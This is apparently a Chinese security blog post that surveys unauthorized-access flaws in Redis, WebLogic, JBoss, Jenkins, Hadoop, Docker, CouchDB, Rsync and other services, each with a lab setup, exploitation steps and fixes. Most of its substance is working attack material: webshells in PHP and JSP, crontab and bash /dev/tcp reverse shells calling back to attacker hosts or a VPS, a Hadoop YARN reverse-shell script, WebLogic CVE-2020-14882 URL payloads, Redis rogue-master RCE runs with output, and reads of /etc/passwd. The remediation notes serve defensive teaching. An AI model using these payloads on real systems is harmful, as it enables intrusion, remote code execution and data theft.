未授权访问总结

🌕写在前面

  • 🍊博客主页:Scorpio_m7github
  • 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
  • 🌟本文由 Scorpio_m7原创,CSDN首发!
  • 📆首发时间:🌹2022年4月7日🌹
  • ✉️坚持和努力一定能换来诗与远方!
  • 🙏作者水平很有限,如果发现错误,请留言轰炸哦!万分感谢感谢感谢!

Redis未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有添加防火墙规则避免其他非信任来源 ip 访问等,将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,导致任意用户在可以访问目标服务器的情况下未授权访问Redis 以及读取 Redis 的数据。

靶机安装redis

2.8版本安装运行

root@ubuntu:~/Desktop# wget http://download.redis.io/releases/redis-2.8.17.tar.gz
root@ubuntu:~/Desktop# tar xzf redis-2.8.17.tar.gz 
root@ubuntu:~/Desktop# cd redis-2.8.17
root@ubuntu:~/Desktop/redis-2.8.17# make
root@ubuntu:~/Desktop/redis-2.8.17# ./src/redis-server 

利用redis写webshell

靶机redis连接未授权,在攻击机上能用redis-cli连上,并未登陆验证

root@kali:~# apt install redis
root@kali:~# redis-cli -h 192.168.211.141
192.168.211.141:6379> keys *
(empty list or set)

利用phpinfo,或者错误信息得知web路径,在web目录写入webshell,这里演示写入/tmp目录

192.168.211.141:6379> CONFIG SET dir /tmp
OK
192.168.211.141:6379> CONFIG SET dbfilename shell.php
OK
192.168.211.141:6379> set webshell "\r\n\r\n<?php echo '<hr/>';?>\r\n\r\n"
OK
192.168.211.141:6379> save
OK

写入公私钥用私钥登录

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在攻击机中生成ssh公钥和私钥,密码设置为空

root@kali:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Leafp/ZAbRLm8gLOjtQfXZj9+mwfqYqWNrgWqZHa2Z0 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|                 |
|          o      |
|         + *     |
|      o S B =    |
|     * * * + .  .|
|    + O B *   .o |
|   o * = Eoo.oo .|
|    . o.=o==++o..|
+----[SHA256]-----+

将生成的公钥保存到1.txt,避免前面有冗余数据多加换行,连接靶机上的redis服务,将保存ssh公钥的1.txt写入redis

root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")>1.txt
root@kali:~/.ssh# cat 1.txt | redis-cli -h 192.168.211.141 -x set crack
OK

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),设置上传公钥的备份文件名字为authorized_keys,保存save

root@kali:~# redis-cli -h 192.168.211.141
192.168.211.141:6379> CONFIG GET dir
1) "dir"
2) "/tmp"
192.168.211.141:6379> CONFIG SET dir /root/.ssh
OK
192.168.211.141:6379> CONFIG SET dbfilename authorized_keys
OK
192.168.211.141:6379> save
OK
192.168.211.141:6379> exit

在攻击机上使用ssh私钥登录靶机

root@kali:~/.ssh# ssh -i id_rsa root@192.168.211.141

利用crontab反弹shell

ubuntu不建议用这个方法,因为ubuntu的crontab限制严格。连接redis,写入反弹shell,并设置写入的目录及文件名。Nc监听,接收shell

root@kali:~# redis-cli -h 192.168.211.141
192.168.211.141:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.211.129/4444 0>&1\n\n"
OK
192.168.211.141:6379> CONFIG SET dir /var/spool/cron
OK
192.168.211.141:6379> CONFIG SET dbfilename root
OK
192.168.211.141:6379> save 
OK
192.168.211.141:6379> exit
root@kali:~# nc -lvnp 4444

防护方法

  1. 采用绑定IP的方式来进行控制。在redis.conf文件中把#bind 127.0.0.1前面的注释去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,只允许
    该ip进行访问,这种情况下,启动redis服务器改为:redis-server
    path/redis.conf 即在启动的时候指定需要加载的配置文件
  2. 设置密码,以提供远程登陆
    打开redis.conf配置文件,在requirepass后输入redis验证密码。设置后登录需要auth yourpassword输入密码,才能运行命令。
  3. 禁止使用root权限启动redis服务。

redis主从复制RCE

随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,在docker部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格 控制,只靠写文件就很难再getshell了。在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C 语言编译并加载恶意的.so文件,达到代码执行的目的。

Redis是一个使用ANSIC编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力。

环境搭建

root@kali:~/桌面/vulhub-master/redis/4-unacc# service docker restart 
root@kali:~/桌面/vulhub-master/redis/4-unacc# docker-compose up -d

漏洞利用

下载脚本,在对应文件夹下编译出exp.so。-r是目标机器ip,-L为本机ip,-c执行命令。

root@NC:/mnt/f/file/redis-rogue-getshell-master/RedisModulesSDK# make
root@NC:/mnt/f/file/redis-rogue-getshell-master/# python3 redis-master.py -r 192.168.211.129 -p 6379 -L 172.31.231.118 -P 4446 -f RedisModulesSDK/exp.so -c "id"
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$14\r\n172.31.231.118\r\n$4\r\n4446\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'PING\r\n'
>> receive data: b'REPLCONF listening-port 6379\r\n'
>> receive data: b'REPLCONF capa eof capa psync2\r\n'
>> receive data: b'PSYNC 0173b411945247edb0f89e75cb1f36ece5f4dc99 1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
>> receive data: b'$49\r\nJuid=999(redis) gid=999(redis) groups=999(redis)\n\r\n'
Juid=999(redis) gid=999(redis) groups=999(redis)
>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'

下载工具在src目录下编译出module.so放到redis-rce.py脚本同目录下。-r是目标机器ip,-L为本机ip。输入i获得交互式shell,输入r反弹shell。

root@NC:/mnt/f/file/RedisModules-ExecuteCommand-master/src# make
root@NC:/mnt/f/file/redis-rce-master# python3 redis-rce.py -r 192.168.211.129 -L 172.31.231.118 -f module.so
[*] Connecting to  192.168.211.129:6379...
[*] Sending SLAVEOF command to server
[+] Accepted connection from 192.168.211.129:6379
[*] Setting filename
[+] Accepted connection from 192.168.211.129:6379
[*] Start listening on 172.31.231.118:21000
[*] Tring to run payload
[+] Accepted connection from 172.31.224.1:15327
[*] Closing rogue server...
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ id
Juid=999(redis) gid=999(redis) groups=999(redis)

漏洞修复

  1. 通过配置文件redis.conf设置密码。在requirepass关键字后面设置密码,并取消注释掉
  2. 通过命令设置密码。使用redis-cli连接上redis,执行如下命令config set requirepass 123456

Weblogic未授权访问

Weblogic是Oracle公司推出的J2EE应用服务器。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台。CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可以进行命令执行操作

环境搭建

root@kali:~/桌面/vulhub-master/weblogic/CVE-2020-14882# docker-compose up -d

漏洞利用

在未登录的情况下访问url,即可未授权访问到管理后台页面,将../进行两次url编码后的得到poc:

http://192.168.211.129:7001/console/css/%252e%252e%252fconsole.portal

在未登录的情况下访问url,访问成功后页面回显404但已经执行linux创建文件命令,在靶机上docker exec -ti id bash加入对应容器后查看/tmp目录验证,poc:

http://192.168.211.129:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/1.txt%27);%22);

反弹shell

在vps上创建rce.xml文件,注意更改IP和端口

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>/bin/bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/vps/8888 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

vps开启web服务,用于请求访问rce.xml文件

root@NC:/mnt/f/file/# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

vps开启监听

root@NC:/mnt/f/file/# nc -lvp 8888

weblogic访问http请求,访问成功后页面回显404,shell反弹到nc端口,poc:

http://192.168.211.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://vps:8000/rce.xml")

也可以使用脚本攻击

F:\file\CVE-2020-14882_ALL-master>python CVE-2020-14882_ALL.py -u http://192.168.211.129:7001 -c "id"                             
  _______      ________    ___   ___ ___   ___        __ _  _   ___   ___ ___
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ | || | / _ \ / _ \__ \
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) | ) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |__   _> _ < > _ < / /
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | |  | || (_) | (_) / /_
 \_____|   \/   |______|  |____|\___/____|\___/       |_|  |_| \___/ \___/____|
                                                         Author:GGyao
                                                         Github:https://github.com/GGyao
[+] Command success result:
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)

漏洞修复

影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

下载补丁程序并安装更新

Jboss未授权访问

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。

环境搭建

root@kali:~/桌面/vulhub-master/jboss/CVE-2017-7504# docker search testjboss 
root@kali:~/桌面/vulhub-master/jboss/CVE-2017-7504# docker pull testjboss/jboss
root@kali:~/桌面/vulhub-master/jboss/CVE-2017-7504# docker run -d -p 8080:8080 testjboss/jboss     

漏洞利用

访问url,通过爆破得到密码,若无密码即可未授权访问到管理控制台,可以部署上传war木马,poc:

http://192.168.211.129:8080/jmx-console
http://192.168.211.129:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

img

写入一句话jsp木马

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

制作war包,开启http服务

F:\CTF\web\一句话>jar -cvf war.war 1.jsp 
Picked up JAVA_TOOL_OPTIONS: -Dfile.encoding=UTF-8 -Duser.language=en -Duser.contry=US
added manifest
adding: 1.jsp(in = 58) (out= 52)(deflated 10%)
F:\CTF\web\一句话>bash
root@NC:/mnt/f/CTF/web/一句话# python3 -m http.server 8000

通过addurl参数远程部署Shell

img

蚁剑连接或者访问http://192.168.211.129:8080/war/1.jsp?pwd=023&i=whoami执行命令

漏洞修复

  1. 添加 JMX 控制页面身份认证;
  2. 进行JMX Console 安全配置;
  3. 关闭jmx-console和web-console

Druid未授权访问

druid是阿里研发的一款数据库连接池,其开发语言为java,druid集合了c3p0、dbcp、proxool等连接池的优点, 还加入了日志监控、session监控等数据监控功能,使用Druid能有效的监控DB池连接和SQL的执行情况。druid虽高效好用,但当开发者配置不当时就可能造成未授权访问,攻击者可利用泄露的Session登录后台

Druid未授权访问路径

/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json

常见登录口路径

/druid/login.html
/system/druid/login.html
/webpage/system/druid/login.html

漏洞利用

未授权的访问界面,关注Session监控和URI监控这两个地方

img

在Session监控中找到session了,尝试登录的时候替换session会有什么效果,在URI监控找到后台登录地址

img

将sid字段更改为获取的session,可以看到用在Session监控下收集的数据,替换过后,可以得到用户名和用户ID。

img

漏洞修复

  1. 配置访问账号密码;
  2. 禁止对外网开放访问

Springboot Actuator未授权访问

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。

漏洞利用

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

img

通过枚举的方式,在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可

actuator
actuator/caches
actuator/conditions
actuator/dump
actuator/env
actuator/events
actuator/heapdump
actuator/info

/env端点配置不当造成RCE,前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)比如测试前台json报错泄露包名就是使用netflix

由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过/env 路径获取这些服务的配置信息,可能获得用户名及密码。

img

通过访问/trace 路径,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还会存在有用户 token、cookie 字段、以及我们之前访问的记录

img

漏洞修复

  1. 禁用全部接口
  2. 禁止对外开放

Jenkins未授权访问

Jenkins是一个独立的、开放源码的自动化服务器,它可以用于自动化与构建、测试、交付或部署软件相关的各种任务。由于Jenkins默认安装的时候没有配置密码,导致未授权访问管理控制台,可以通过脚本命令行执行系统命令。

环境搭建

root@kali:~/桌面/vulhub-master/jenkins/CVE-2018-1000861# docker-compose up

漏洞利用

弱口令

访问url,通过爆破得到密码,若无密码即可未授权访问到管理控制台,通过脚本命令行功能执行系统命令,poc:

http://192.168.211.129:8080/manage

访问系统管理-脚本命令行

img

利用脚本命令行将webshell上传到/var/www/html下,内容如下:

new File("/var/www/html/websehll.php").write('<?php @eval($_POST[cmd]);?>');

也可以执行其他命令,反弹shell等

jenkins 未授权访问-任意命令执行_jenkins

CVE-2018-1000861

使用脚本攻击,此脚本没有回显,在靶机上docker exec -ti id bash加入对应容器后查看/tmp目录验证,poc:

F:\CTF\web\CVE-2018-1000861\awesome-jenkins-rce-2019-master>pip2 install enum
F:\CTF\web\CVE-2018-1000861\awesome-jenkins-rce-2019-master>python2 exp.py http://192.168.211.129:8080 "touch /tmp/1.txt" 
[*] ANONYMOUS_READ enable!
[*] Exploit success!(it should be :P)

漏洞修复

  1. 添加认证,设置强密码复杂度及账号锁定。
  2. 升级Jenkins至新版本;
  3. 禁止把Jenkins直接暴露在公网

MongoDB未授权访问

造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth,使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。 默认端口:27017

环境搭建

root@kali:~# docker pull mongo
root@kali:~# docker run -d -p 27017:27017 --name mongodb mongo 

漏洞利用

使用 mongo连接,也可以使用图形化工具navicat、NoSQLBooster连接

root@NC:/mnt/c/Users# apt install mongodb-clients
root@NC:/mnt/c/Users# mongo --host 192.168.211.129 --port 27017

创建系统用户管理员创建一个用户名为myUserAdmin,密码为123456的系统用户管理员账号,用ssh直接登录

> db.version()
5.0.5
> use admin
switched to db admin 
> db.createUser(
  {
    user: "myUserAdmin",
    pwd: "123456",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)
Successfully added user: {
    "user" : "myUserAdmin",
    "roles" : [
        {
            "role" : "userAdminAnyDatabase",
            "db" : "admin"
        }
    ]
}

漏洞修复

  1. 为MongoDB添加认证:MongoDB启动时添加–auth参数、为MongoDB添加用户
  2. MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
  3. 启动时加入参数–bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

Hadoop未授权访问

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏 览甚至命令执行等操作,产生极大的危害。

环境搭建

root@kali:~/桌面/vulhub-master/hadoop/unauthorized-yarn# docker-compose up

漏洞利用

利用的exp脚本如下

#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.139.131' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

在本地监听9999端口,然后python运行exp即可收获shell

root@NC:/mnt/c/Users/Desktop# nc -lvp 9999

漏洞修复

  1. 升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问;
  2. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口;
  3. 如无必要,关闭 Hadoop Web 管理页面

Zookeeper未授权访问

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现, 是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

环境搭建

root@kali:~/下载# wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
root@kali:~/下载# tar -xzvf zookeeper-3.4.14.tar.gz 
root@kali:~/下载# cd zookeeper-3.4.14/conf
root@kali:~/下载/zookeeper-3.4.14/conf# mv zoo_sample.cfg zoo.cfg
root@kali:~/下载/zookeeper-3.4.14/conf# ../bin/zkServer.sh start 

漏洞利用

输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。

root@NC:/mnt/c/Users# echo conf | nc 192.168.211.129 2181
clientPort=2181
dataDir=/tmp/zookeeper/version-2
dataLogDir=/tmp/zookeeper/version-2
tickTime=2000
maxClientCnxns=60
minSessionTimeout=4000
maxSessionTimeout=40000
serverId=0

输出服务器的详细信息。

root@NC:/mnt/c/Users# echo envi | nc 192.168.211.129 2181

如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh

root@kali:~# apt-get install zookeeper
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181

利用zookeeper可视化管理工具查看

img

img

漏洞修复

  1. 修改 ZooKeeper 默认端口,采用其他端口服务。
  2. 添加访问控制,配置服务来源地址限制策略。
  3. 增加 ZooKeeper 的认证配置。

Memcached 未授权访问

Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。

环境搭建

在Windows7中解压压缩包到指定目录。使用管理员权限运行命令memcached.exe -d install

img

启动服务memcached.exe -d start

漏洞利用

为了方便测试这里将防火墙关闭

root@kali:~/桌面# telnet 192.168.211.140 11211
Trying 192.168.211.140...
Connected to 192.168.211.140.
Escape character is '^]'.
stats
STAT pid 1680
STAT uptime 3054538089
STAT time 408971544
STAT version 1.4.4-14-g9c660c0
STAT pointer_size 64
STAT curr_connections 11
STAT total_connections 12
STAT connection_structures 12
STAT cmd_get 0
STAT cmd_set 0
STAT cmd_flush 0
STAT get_hits 0
STAT get_misses 0
STAT delete_misses 0
STAT delete_hits 0
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 57
STAT bytes_written 788
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT bytes 0
STAT curr_items 0
STAT total_items 0
STAT evictions 0
END

漏洞修复

  1. 设置Memchached只允许本地访问。
  2. 禁止外网访问Memcached 11211端口。
  3. 配置访问控制策略。
  4. 最小化权限运行。
  5. 修改默认端口等。

VNC 未授权访问

VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。

环境搭建

在Windows7中下载安装程序。运行安装,一直下一步即可

img

找到VNC Server程式的位置(通常是C:\Program Files\RealVNC\VNC4),右鍵winvnc4.exe属性->兼容性->勾選以相容模式執行這個程式,選擇不是Windows 7的其他選項。最後,重新啟動VNC Server就可以連接了

漏洞利用

为了方便测试这里将防火墙关闭

root@kali:~# vncviewer 192.168.211.140
Connected to RFB server, using protocol version 3.8
No authentication needed
Authentication successful
Desktop name "ROOT-PC"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

漏洞修复

  1. 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
  2. 以最小普通权限身份运行操作系统。

Docker 未授权访问

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

环境搭建

root@kali:~/桌面/vulhub-master/docker/unauthorized-rce# chmod 777 docker-entrypoint.sh
root@kali:~/桌面/vulhub-master/docker/unauthorized-rce# docker-compose build && docker-compose up -d 

漏洞利用

未授权访问,通过crontab反弹宿主机shell

root@ubuntu:~/Desktop# docker -H tcp://192.168.211.129:2375 version
root@ubuntu:~/Desktop# nv -lvnp 9999
root@ubuntu:~/Desktop# docker -H tcp://192.168.211.129:2375 run -id -v /etc/crontabs:/tmp alpine:latest
root@ubuntu:~/Desktop# docker -H tcp://192.168.211.129:2375 ps
root@ubuntu:~/Desktop# docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh
root@ubuntu:~/Desktop# echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root

漏洞修复

  1. 简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。
  2. 修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

Jupyter Notebook 未授权访问

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

环境搭建

root@kali:~/桌面/vulhub-master/jupyter/notebook-rce# service docker restart 
root@kali:~/桌面/vulhub-master/jupyter/notebook-rce# docker-compose up

漏洞利用

访问 http://192.168.211.129:8888

img

利用New > Terminal 命令执行

img

漏洞修复

  1. 开启身份验证,防止未经授权用户访问。
  2. 访问控制策略,限制IP访问,绑定固定IP。

CouchDB 未授权访问

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

环境搭建

root@kali:~/桌面/vulhub-master/couchdb/CVE-2017-12636# service docker restart 
root@kali:~/桌面/vulhub-master/couchdb/CVE-2017-12636# docker-compose up

漏洞利用

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。也可以访问http://192.168.211.129:5984/_utils/在右下角创建用户。依次执行如下请求即可触发任意命令执行

root@NC:/mnt/c/Users# curl -X PUT 'http://vulhub:vulhub@192.168.211.129:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
""
root@NC:/mnt/c/Users# curl -X PUT 'http://vulhub:vulhub@192.168.211.129:5984/vultest'
{"ok":true}
root@NC:/mnt/c/Users# curl -X PUT 'http://vulhub:vulhub@192.168.211.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
{"ok":true,"id":"vul","rev":"1-967a00dff5e02add41819138abb3284d"}
root@NC:/mnt/c/Users# curl -X POST 'http://vulhub:vulhub@192.168.211.129:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

其中,vulhub:vulhub为管理员账号密码。

第一个请求是添加一个名字为cmdquery_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。

第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。

第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmdquery_servers,最后触发命令执行。

在靶机上docker exec -ti id bash加入对应容器后查看/tmp目录验证

漏洞修复

  1. 绑定指定ip。
  2. 设置访问密码。

Elasticsearch 未授权访问

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。

环境搭建

root@kali:~/桌面/vulhub-master/elasticsearch/CVE-2014-3120# docker-compose up

漏洞利用

访问http://ip:9200/_nodes #查看节点数据

其他利用CVE-2014-3120,CVE-2015-1427,CVE-2015-3337,CVE-2015-5531

漏洞修复

  1. 访问控制策略,限制IP访问,绑定固定IP。
  2. 在config/elasticsearch.yml中为9200端口设置认证等。

Rsync 未授权访问

Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

环境搭建

root@kali:~/桌面/vulhub-master/rsync/common# docker-compose build
root@kali:~/桌面/vulhub-master/rsync/common# docker-compose up

漏洞利用

未授权访问测试

root@NC:/mnt/c/Users# rsync rsync://192.168.211.129:873
src             src path

利用rsync下载任意文件

root@NC:/mnt/c/Users# rsync rsync://192.168.211.129:873/src/etc/passwd ./

利用rsync反弹shell

创建文件nc

img

把文件上传覆盖原来的计划任务文件,等待反弹成功

root@NC:/mnt/c/Users# rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly
root@NC:/mnt/c/Users# nc -lnvp 9999

漏洞修复

  1. 账户认证:正确配置认证用户名及密码。
  2. 权限控制:使用合理的权限。
  3. 网络访问控制:控制接入源ip。
  4. 数据加密传输等

Atlassian Crowd 未授权访问

